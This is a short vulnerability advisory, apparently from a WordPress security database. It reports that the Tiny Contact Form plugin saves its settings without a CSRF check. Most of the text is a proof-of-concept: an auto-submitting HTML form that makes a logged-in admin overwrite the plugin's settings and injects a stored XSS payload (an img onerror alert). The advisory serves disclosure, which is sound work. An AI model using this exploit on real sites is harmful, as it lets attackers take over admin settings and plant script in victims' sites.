The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack
<form id="test" action="https://example.com/wp-admin/options-general.php?page=tiny-contact-form" method="POST"> <input type="text" name="tcf_to_email" value="hacked"> <input type="text" name="tcf_from_email" value="hacked"> <input type="text" name="tcf_msg_ok" value=""> <input type="text" name="tcf_msg_err" value=""> <input type="text" name="tcf_submit" value=''"><img src=x onerror=alert(1)>''> <input type="text" name="tcf_subpre" value=""> <input type="text" name="tcf_field_1" value=""> <input type="text" name="tcf_field_2" value=""> <input type="text" name="tcf_field_3" value=""> <input type="text" name="tcf_field_4" value=""> <input type="text" name="tcf_field_5" value=""> <input type="text" name="tcf_captcha_label" value=""> <input type="text" name="tcf_captcha2_question" value=""> <input type="text" name="tcf_captcha2_answer" value=""> <input type="text" name="tcf_css" value=""> <input type="text" name="tcf_save" value="Änderungen speichern"> </form> <script> document.getElementById("test").submit(); </script>
Daniel Ruf
Daniel Ruf
Yes
2022-05-31 (about 8 months ago)
2022-05-31 (about 8 months ago)
2022-05-31 (about 8 months ago)